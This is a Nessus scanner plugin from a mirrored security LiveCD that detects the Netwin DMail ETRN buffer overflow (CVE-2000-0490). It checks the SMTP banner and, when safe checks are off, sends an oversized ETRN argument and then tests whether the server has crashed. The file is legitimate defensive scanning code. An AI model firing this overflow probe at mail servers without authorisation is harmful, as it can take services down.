home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / dmail_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  131 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10438);
  10.  script_bugtraq_id(1297);
  11.  script_version ("$Revision: 1.20 $");
  12.  script_cve_id("CVE-2000-0490");
  13.  name["english"] = "Netwin's DMail ETRN overflow";
  14.  name["francais"] = "DΘpassement de buffer ETRN dans DMail de Netwin";
  15.  script_name(english:name["english"],
  16.           francais:name["francais"]);
  17.  
  18.  desc["english"] = "
  19. The remote SMTP server is vulnerable to a buffer
  20. overflow when the ETRN command is issued arguments 
  21. which are too long.
  22.  
  23. This problem may allow an attacker to shut this server
  24. down or to execute arbitrary code on this host.
  25.  
  26. Solution : Contact your vendor for a fix. If you are using
  27. Netwin's DMail, then upgrade to version 2.7r or newer.
  28.  
  29. Risk factor : High";
  30.  
  31.  
  32.  desc["francais"] = "
  33. Le serveur SMTP distant est vulnΘrable α un dΘpassement
  34. de buffer lorsqu'un argument trop long est passΘ α la commande
  35. ETRN.
  36.  
  37. Ce problΦme peut permettre α un pirate de couper ce serveur
  38. ou bien meme d'executer du code arbitraire sur ce systΦme.
  39.  
  40. Solution : Contactez votre vendeur pour un patch. Si vous utilisez
  41. DMail de Netwin, alors mettez-le α jour en version 2.7r
  42.  
  43. Facteur de risque : ElevΘ";
  44.  
  45.  
  46.  script_description(english:desc["english"],
  47.               francais:desc["francais"]);
  48.             
  49.  
  50.  summary["english"] = "Checks if the remote mail server is vulnerable to a ETRN overflow"; 
  51.  summary["francais"] = "VΘrifie si le serveur de mail est vulnΘrable a un overflow ETRN";
  52.  script_summary(english:summary["english"],
  53.           francais:summary["francais"]);
  54.  
  55.  script_category(ACT_MIXED_ATTACK); # mixed
  56.  
  57.  script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
  58.            francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
  59.  
  60.  family["english"] = "Gain root remotely";
  61.  family["francais"] = "Passer root α distance";
  62.  script_family(english:family["english"], francais:family["francais"]);
  63.  script_dependencie("find_service.nes", "sendmail_expn.nasl");
  64.  script_exclude_keys("SMTP/wrapped");
  65.  script_require_ports("Services/smtp", 25);
  66.  exit(0);
  67. }
  68.  
  69. #
  70. # The script code starts here
  71. #
  72.  
  73. include("smtp_func.inc");
  74.  
  75. port = get_kb_item("Services/smtp");
  76. if(!port)port = 25;
  77.  
  78. if(safe_checks())
  79. {
  80.  banner = get_smtp_banner(port:port);
  81.  
  82.  if(banner)
  83.  {
  84.   if("2.7r" >< banner)exit(0);
  85.   
  86.   if(egrep(string:banner,
  87.         pattern:"^220.*DSMTP ESMTP Server v2\.([0-7]q*|8[a-h]).*"))
  88.       {
  89.        alrt = "
  90. The remote DMAIL SMTP server may be vulnerable to a buffer
  91. overflow when the ETRN command is issued an argument that
  92. is too long. 
  93.  
  94. This problem may allow an attacker to shut this server
  95. down or to execute arbitrary code on this host.
  96.  
  97. *** Nessus reports this vulnerability using only
  98. *** information that was gathered. Use caution
  99. *** when testing without safe checks enabled.
  100.  
  101. Solution : Contact your vendor for a fix. If you are using
  102. Netwin's DMail, then upgrade to version 2.7r or newer.
  103.  
  104. Risk factor : High";
  105.      security_hole(port:port, data:alrt);
  106.      }
  107.  }
  108.   exit(0);
  109. }
  110.  
  111.  
  112. if(get_port_state(port))
  113. {
  114.  soc = open_sock_tcp(port);
  115.  if(soc)
  116.  {
  117.  data = smtp_recv_banner(socket:soc);     
  118.  crp = string("HELO example.com\r\n");
  119.  send(socket:soc, data:crp);
  120.  data = recv_line(socket:soc, length:1024);
  121.  crp = string("ETRN ", crap(500), "\r\n");
  122.  send(socket:soc, data:crp);
  123.  send(socket:soc, data:string("QUIT\r\n"));
  124.  close(soc);
  125.  
  126.  soc2 = open_sock_tcp(port);
  127.  if(!soc2)security_hole(port);
  128.  else close(soc2);
  129.  }
  130. }
  131.